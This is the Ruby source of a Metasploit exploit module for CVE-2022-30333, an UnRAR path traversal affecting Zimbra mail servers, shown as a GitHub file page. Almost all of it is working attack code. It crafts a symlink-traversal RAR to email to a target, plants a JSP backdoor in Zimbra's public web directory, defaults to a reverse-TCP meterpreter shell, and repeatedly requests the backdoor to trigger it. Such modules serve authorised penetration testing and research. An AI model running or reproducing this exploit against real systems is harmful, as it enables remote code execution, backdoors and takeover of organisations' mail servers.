-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
zimbra_unrar_cve_2022_30333.rb
203 lines (169 loc) · 7.67 KB
/
zimbra_unrar_cve_2022_30333.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::RarSymlinkPathTraversal
def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that can be emailed to a Zimbra server
to exploit CVE-2022-30333. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.
The core vulnerability is a path-traversal issue in unRAR that can
extract an arbitrary file to an arbitrary location on a Linux system.
This issue is exploitable on the following versions of Zimbra, provided
UnRAR version 6.11 or earlier is installed:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
]
)
register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),
# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end
# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end
# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath
# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
relative_path = normalized_path.relative_path_from(webroot)
# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end
relative_path
end
def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")
# Sanity check - the file shouldn't exist, but we should be able to do requests to the server
if datastore['TRIGGER_PAYLOAD']
# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
fail_with(Failure::Unknown, 'Could not determine the public web path')
end
print_status('Checking the HTTP connection to the target')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server via HTTP (disable TRIGGER_PAYLOAD if you plan to trigger it manually)')
end
# Break when the file successfully appears
unless res.code == 404
fail_with(Failure::Unknown, "Server returned an unexpected result when we attempted to trigger our payload (expected HTTP/404, got HTTP/#{res.code}")
end
end
begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end
file_create(rar)
print_good('File created! Email the file above to any user on the target Zimbra server')
# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']
register_file_for_cleanup(target_filename)
interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")
# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
# We flip this once we trigger the payload
keep_sending = true
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)
# Once we've triggered the payload, stop trying to
if keep_sending
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)
unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end
# Break when the file successfully appears
if res.code == 200
print_good('Successfully triggered the payload')
keep_sending = false
next
end
end
Rex::ThreadSafe.sleep(interval)
end
end
end